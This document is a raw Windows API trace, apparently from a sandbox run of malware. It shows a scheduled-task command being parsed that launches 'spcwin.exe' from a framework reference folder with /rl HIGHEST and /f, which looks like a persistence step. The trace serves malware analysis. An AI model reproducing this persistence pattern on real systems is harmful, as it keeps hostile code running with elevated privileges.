_vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|tr|") returned 4 [0129.932] lstrlenW (lpString="|create|") returned 8 [0129.932] lstrlenW (lpString="|tr|") returned 4 [0129.932] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0129.932] SetLastError (dwErrCode=0x490) [0129.932] lstrlenW (lpString="delete") returned 6 [0129.932] lstrlenW (lpString="delete") returned 6 [0129.932] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.932] lstrlenW (lpString="tr") returned 2 [0129.932] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.932] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|delete|") returned 8 [0129.932] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|tr|") returned 4 [0129.932] lstrlenW (lpString="|delete|") returned 8 [0129.932] lstrlenW (lpString="|tr|") returned 4 [0129.932] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0129.932] SetLastError (dwErrCode=0x490) [0129.932] lstrlenW (lpString="query") returned 5 [0129.932] lstrlenW (lpString="query") returned 5 [0129.932] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.932] lstrlenW (lpString="tr") returned 2 [0129.932] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.932] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|query|") returned 7 [0129.932] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|tr|") returned 4 [0129.933] lstrlenW (lpString="|query|") returned 7 [0129.933] lstrlenW (lpString="|tr|") returned 4 [0129.933] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0129.933] SetLastError (dwErrCode=0x490) [0129.933] lstrlenW (lpString="change") returned 6 [0129.933] lstrlenW (lpString="change") returned 6 [0129.933] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.933] lstrlenW (lpString="tr") returned 2 [0129.933] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.933] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|change|") returned 8 [0129.933] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|tr|") returned 4 [0129.933] lstrlenW (lpString="|change|") returned 8 [0129.933] lstrlenW (lpString="|tr|") returned 4 [0129.933] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0129.933] SetLastError (dwErrCode=0x490) [0129.933] lstrlenW (lpString="run") returned 3 [0129.933] lstrlenW (lpString="run") returned 3 [0129.933] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.933] lstrlenW (lpString="tr") returned 2 [0129.933] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.933] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|run|") returned 5 [0129.933] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|tr|") returned 4 [0129.933] lstrlenW (lpString="|run|") returned 5 [0129.933] lstrlenW (lpString="|tr|") returned 4 [0129.933] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0129.933] SetLastError (dwErrCode=0x490) [0129.934] lstrlenW (lpString="end") returned 3 [0129.934] lstrlenW (lpString="end") returned 3 [0129.934] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.934] lstrlenW (lpString="tr") returned 2 [0129.934] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.934] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|end|") returned 5 [0129.934] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|tr|") returned 4 [0129.934] lstrlenW (lpString="|end|") returned 5 [0129.934] lstrlenW (lpString="|tr|") returned 4 [0129.934] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0129.934] SetLastError (dwErrCode=0x490) [0129.934] lstrlenW (lpString="showsid") returned 7 [0129.934] lstrlenW (lpString="showsid") returned 7 [0129.934] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.934] lstrlenW (lpString="tr") returned 2 [0129.934] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.934] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|showsid|") returned 9 [0129.934] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|tr|") returned 4 [0129.934] lstrlenW (lpString="|showsid|") returned 9 [0129.934] lstrlenW (lpString="|tr|") returned 4 [0129.934] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0129.934] SetLastError (dwErrCode=0x490) [0129.934] SetLastError (dwErrCode=0x490) [0129.934] SetLastError (dwErrCode=0x0) [0129.934] lstrlenW (lpString="/tr") returned 3 [0129.934] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0129.934] SetLastError (dwErrCode=0x490) [0129.935] SetLastError (dwErrCode=0x0) [0129.935] lstrlenW (lpString="/tr") returned 3 [0129.935] GetProcessHeap () returned 0x250000 [0129.935] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x8) returned 0x26dd40 [0129.935] GetProcessHeap () returned 0x250000 [0129.935] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cd20 [0129.935] SetLastError (dwErrCode=0x0) [0129.935] SetLastError (dwErrCode=0x0) [0129.935] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0129.935] lstrlenW (lpString="-/") returned 2 [0129.935] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0129.935] SetLastError (dwErrCode=0x490) [0129.935] SetLastError (dwErrCode=0x490) [0129.935] SetLastError (dwErrCode=0x0) [0129.935] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0129.935] StrChrIW (lpStart="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'", wMatch=0x3a) returned=":\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'" [0129.935] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0129.935] GetProcessHeap () returned 0x250000 [0129.935] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26d590 [0129.935] _memicmp (_Buf1=0x26d590, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.935] GetProcessHeap () returned 0x250000 [0129.935] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xe) returned 0x26d5b0 [0129.935] GetProcessHeap () returned 0x250000 [0129.935] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26d5d0 [0129.935] _memicmp (_Buf1=0x26d5d0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.935] GetProcessHeap () returned 0x250000 [0129.935] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xb0) returned 0x26dd60 [0129.936] SetLastError (dwErrCode=0x7a) [0129.936] SetLastError (dwErrCode=0x0) [0129.936] SetLastError (dwErrCode=0x0) [0129.936] lstrlenW (lpString="'C") returned 2 [0129.936] lstrlenW (lpString="-/") returned 2 [0129.936] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0129.936] SetLastError (dwErrCode=0x490) [0129.936] SetLastError (dwErrCode=0x490) [0129.936] SetLastError (dwErrCode=0x0) [0129.936] lstrlenW (lpString="'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'") returned 86 [0129.936] GetProcessHeap () returned 0x250000 [0129.936] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xae) returned 0x26de20 [0129.936] GetProcessHeap () returned 0x250000 [0129.936] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cd50 [0129.936] SetLastError (dwErrCode=0x0) [0129.936] SetLastError (dwErrCode=0x0) [0129.936] lstrlenW (lpString="/rl") returned 3 [0129.936] lstrlenW (lpString="-/") returned 2 [0129.936] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.936] lstrlenW (lpString="?") returned 1 [0129.936] lstrlenW (lpString="?") returned 1 [0129.936] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.936] lstrlenW (lpString="rl") returned 2 [0129.936] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.936] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|?|") returned 3 [0129.936] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|rl|") returned 4 [0129.936] lstrlenW (lpString="|?|") returned 3 [0129.937] lstrlenW (lpString="|rl|") returned 4 [0129.937] SetLastError (dwErrCode=0x490) [0129.937] lstrlenW (lpString="create") returned 6 [0129.937] lstrlenW (lpString="create") returned 6 [0129.937] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.937] lstrlenW (lpString="rl") returned 2 [0129.937] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.937] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|create|") returned 8 [0129.937] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|rl|") returned 4 [0129.937] lstrlenW (lpString="|create|") returned 8 [0129.937] lstrlenW (lpString="|rl|") returned 4 [0129.937] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0129.937] SetLastError (dwErrCode=0x490) [0129.937] lstrlenW (lpString="delete") returned 6 [0129.937] lstrlenW (lpString="delete") returned 6 [0129.937] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.937] lstrlenW (lpString="rl") returned 2 [0129.937] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.937] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|delete|") returned 8 [0129.937] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|rl|") returned 4 [0129.937] lstrlenW (lpString="|delete|") returned 8 [0129.937] lstrlenW (lpString="|rl|") returned 4 [0129.937] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0129.937] SetLastError (dwErrCode=0x490) [0129.937] lstrlenW (lpString="query") returned 5 [0129.937] lstrlenW (lpString="query") returned 5 [0129.937] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.938] lstrlenW (lpString="rl") returned 2 [0129.938] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.938] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|query|") returned 7 [0129.938] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|rl|") returned 4 [0129.938] lstrlenW (lpString="|query|") returned 7 [0129.938] lstrlenW (lpString="|rl|") returned 4 [0129.938] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0129.938] SetLastError (dwErrCode=0x490) [0129.938] lstrlenW (lpString="change") returned 6 [0129.938] lstrlenW (lpString="change") returned 6 [0129.938] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.938] lstrlenW (lpString="rl") returned 2 [0129.938] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.938] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|change|") returned 8 [0129.938] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|rl|") returned 4 [0129.938] lstrlenW (lpString="|change|") returned 8 [0129.938] lstrlenW (lpString="|rl|") returned 4 [0129.938] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0129.938] SetLastError (dwErrCode=0x490) [0129.938] lstrlenW (lpString="run") returned 3 [0129.938] lstrlenW (lpString="run") returned 3 [0129.938] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.938] lstrlenW (lpString="rl") returned 2 [0129.938] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.938] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|run|") returned 5 [0129.939] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|rl|") returned 4 [0129.939] lstrlenW (lpString="|run|") returned 5 [0129.939] lstrlenW (lpString="|rl|") returned 4 [0129.939] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0129.939] SetLastError (dwErrCode=0x490) [0129.939] lstrlenW (lpString="end") returned 3 [0129.939] lstrlenW (lpString="end") returned 3 [0129.939] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.939] lstrlenW (lpString="rl") returned 2 [0129.939] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.939] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|end|") returned 5 [0129.939] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|rl|") returned 4 [0129.939] lstrlenW (lpString="|end|") returned 5 [0129.939] lstrlenW (lpString="|rl|") returned 4 [0129.939] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0129.939] SetLastError (dwErrCode=0x490) [0129.939] lstrlenW (lpString="showsid") returned 7 [0129.939] lstrlenW (lpString="showsid") returned 7 [0129.939] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.939] lstrlenW (lpString="rl") returned 2 [0129.939] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.939] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|showsid|") returned 9 [0129.939] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|rl|") returned 4 [0129.939] lstrlenW (lpString="|showsid|") returned 9 [0129.939] lstrlenW (lpString="|rl|") returned 4 [0129.939] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0129.939] SetLastError (dwErrCode=0x490) [0129.940] SetLastError (dwErrCode=0x490) [0129.940] SetLastError (dwErrCode=0x0) [0129.940] lstrlenW (lpString="/rl") returned 3 [0129.940] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0129.940] SetLastError (dwErrCode=0x490) [0129.940] SetLastError (dwErrCode=0x0) [0129.940] lstrlenW (lpString="/rl") returned 3 [0129.940] GetProcessHeap () returned 0x250000 [0129.940] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x8) returned 0x26dee0 [0129.940] GetProcessHeap () returned 0x250000 [0129.940] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cd80 [0129.940] SetLastError (dwErrCode=0x0) [0129.940] SetLastError (dwErrCode=0x0) [0129.940] lstrlenW (lpString="HIGHEST") returned 7 [0129.940] lstrlenW (lpString="-/") returned 2 [0129.940] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0129.945] SetLastError (dwErrCode=0x490) [0129.945] SetLastError (dwErrCode=0x490) [0129.946] SetLastError (dwErrCode=0x0) [0129.946] lstrlenW (lpString="HIGHEST") returned 7 [0129.946] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0129.946] SetLastError (dwErrCode=0x490) [0129.946] SetLastError (dwErrCode=0x0) [0129.946] lstrlenW (lpString="HIGHEST") returned 7 [0129.946] GetProcessHeap () returned 0x250000 [0129.946] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x10) returned 0x26d5f0 [0129.947] GetProcessHeap () returned 0x250000 [0129.947] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cdb0 [0129.947] SetLastError (dwErrCode=0x0) [0129.947] SetLastError (dwErrCode=0x0) [0129.947] lstrlenW (lpString="/f") returned 2 [0129.947] lstrlenW (lpString="-/") returned 2 [0129.947] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.947] lstrlenW (lpString="?") returned 1 [0129.947] lstrlenW (lpString="?") returned 1 [0129.947] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.947] lstrlenW (lpString="f") returned 1 [0129.947] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.947] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|?|") returned 3 [0129.947] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|f|") returned 3 [0129.947] lstrlenW (lpString="|?|") returned 3 [0129.947] lstrlenW (lpString="|f|") returned 3 [0129.947] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0129.947] SetLastError (dwErrCode=0x490) [0129.947] lstrlenW (lpString="create") returned 6 [0129.947] lstrlenW (lpString="create") returned 6 [0129.947] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.947] lstrlenW (lpString="f") returned 1 [0129.947] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.947] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|create|") returned 8 [0129.947] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|f|") returned 3 [0129.947] lstrlenW (lpString="|create|") returned 8 [0129.947] lstrlenW (lpString="|f|") returned 3 [0129.948] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0129.948] SetLastError (dwErrCode=0x490) [0129.948] lstrlenW (lpString="delete") returned 6 [0129.948] lstrlenW (lpString="delete") returned 6 [0129.948] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.948] lstrlenW (lpString="f") returned 1 [0129.948] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.948] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|delete|") returned 8 [0129.948] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|f|") returned 3 [0129.948] lstrlenW (lpString="|delete|") returned 8 [0129.948] lstrlenW (lpString="|f|") returned 3 [0129.948] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0129.948] SetLastError (dwErrCode=0x490) [0129.948] lstrlenW (lpString="query") returned 5 [0129.948] lstrlenW (lpString="query") returned 5 [0129.948] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.948] lstrlenW (lpString="f") returned 1 [0129.948] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.948] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|query|") returned 7 [0129.948] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|f|") returned 3 [0129.948] lstrlenW (lpString="|query|") returned 7 [0129.948] lstrlenW (lpString="|f|") returned 3 [0129.948] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0129.948] SetLastError (dwErrCode=0x490) [0129.948] lstrlenW (lpString="change") returned 6 [0129.948] lstrlenW (lpString="change") returned 6 [0129.949] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.949] lstrlenW (lpString="f") returned 1 [0129.949] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.949] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|change|") returned 8 [0129.949] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|f|") returned 3 [0129.949] lstrlenW (lpString="|change|") returned 8 [0129.949] lstrlenW (lpString="|f|") returned 3 [0129.949] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0129.949] SetLastError (dwErrCode=0x490) [0129.949] lstrlenW (lpString="run") returned 3 [0129.949] lstrlenW (lpString="run") returned 3 [0129.949] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.949] lstrlenW (lpString="f") returned 1 [0129.949] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.949] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|run|") returned 5 [0129.949] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|f|") returned 3 [0129.949] lstrlenW (lpString="|run|") returned 5 [0129.949] lstrlenW (lpString="|f|") returned 3 [0129.949] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0129.949] SetLastError (dwErrCode=0x490) [0129.949] lstrlenW (lpString="end") returned 3 [0129.949] lstrlenW (lpString="end") returned 3 [0129.949] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.949] lstrlenW (lpString="f") returned 1 [0129.949] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.949] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|end|") returned 5 [0129.950] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|f|") returned 3 [0129.950] lstrlenW (lpString="|end|") returned 5 [0129.950] lstrlenW (lpString="|f|") returned 3 [0129.950] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0129.950] SetLastError (dwErrCode=0x490) [0129.950] lstrlenW (lpString="showsid") returned 7 [0129.950] lstrlenW (lpString="showsid") returned 7 [0129.950] _memicmp (_Buf1=0x26c230, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.950] lstrlenW (lpString="f") returned 1 [0129.950] _memicmp (_Buf1=0x26c270, _Buf2=0xff121b08, _Size=0x7) returned 0 [0129.950] _vsnwprintf (in: _Buffer=0x26c2b0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|showsid|") returned 9 [0129.950] _vsnwprintf (in: _Buffer=0x26c290, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1df178 | out: _Buffer="|f|") returned 3 [0129.950] lstrlenW (lpString="|showsid|") returned 9 [0129.950] lstrlenW (lpString="|f|") returned 3 [0129.950] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0129.950] SetLastError (dwErrCode=0x490) [0129.950] SetLastError (dwErrCode=0x490) [0129.950] SetLastError (dwErrCode=0x0) [0129.950] lstrlenW (lpString="/f") returned 2 [0129.950] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0129.950] SetLastError (dwErrCode=0x490) [0129.950] SetLastError (dwErrCode=0x0) [0129.950] lstrlenW (lpString="/f") returned 2 [0129.950] GetProcessHeap () returned 0x250000 [0129.950] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x6) returned 0x26df00 [0129.950] GetProcessHeap () returned 0x250000 [0129.950] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x20) returned 0x26cde0 [0129.950] SetLastError (dwErrCode=0x0) [0129.950] GetProcessHeap () returned 0x250000 [0129.950] GetProcessHeap () returned 0x250000 [0129.951] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c250) returned 1 [0129.951] GetProcessHeap () returned 0x250000 [0129.951] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c250) returned 0x8 [0129.951] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c250 | out: hHeap=0x250000) returned 1 [0129.951] GetProcessHeap () returned 0x250000 [0129.951] GetProcessHeap () returned 0x250000 [0129.951] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc60) returned 1 [0129.951] GetProcessHeap () returned 0x250000 [0129.951] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cc60) returned 0x20 [0129.951] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc60 | out: hHeap=0x250000) returned 1 [0129.951] GetProcessHeap () returned 0x250000 [0129.951] GetProcessHeap () returned 0x250000 [0129.951] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d550) returned 1 [0129.951] GetProcessHeap () returned 0x250000 [0129.951] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d550) returned 0xe [0129.951] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d550 | out: hHeap=0x250000) returned 1 [0129.952] GetProcessHeap () returned 0x250000 [0129.952] GetProcessHeap () returned 0x250000 [0129.952] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc90) returned 1 [0129.952] GetProcessHeap () returned 0x250000 [0129.952] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cc90) returned 0x20 [0129.952] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc90 | out: hHeap=0x250000) returned 1 [0129.952] GetProcessHeap () returned 0x250000 [0129.952] GetProcessHeap () returned 0x250000 [0129.952] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26dd20) returned 1 [0129.952] GetProcessHeap () returned 0x250000 [0129.952] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26dd20) returned 0x8 [0129.953] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26dd20 | out: hHeap=0x250000) returned 1 [0129.953] GetProcessHeap () returned 0x250000 [0129.953] GetProcessHeap () returned 0x250000 [0129.953] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26ccc0) returned 1 [0129.953] GetProcessHeap () returned 0x250000 [0129.953] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26ccc0) returned 0x20 [0129.953] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26ccc0 | out: hHeap=0x250000) returned 1 [0129.953] GetProcessHeap () returned 0x250000 [0129.953] GetProcessHeap () returned 0x250000 [0129.953] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d570) returned 1 [0129.953] GetProcessHeap () returned 0x250000 [0129.953] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d570) returned 0x10 [0129.953] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d570 | out: hHeap=0x250000) returned 1 [0129.953] GetProcessHeap () returned 0x250000 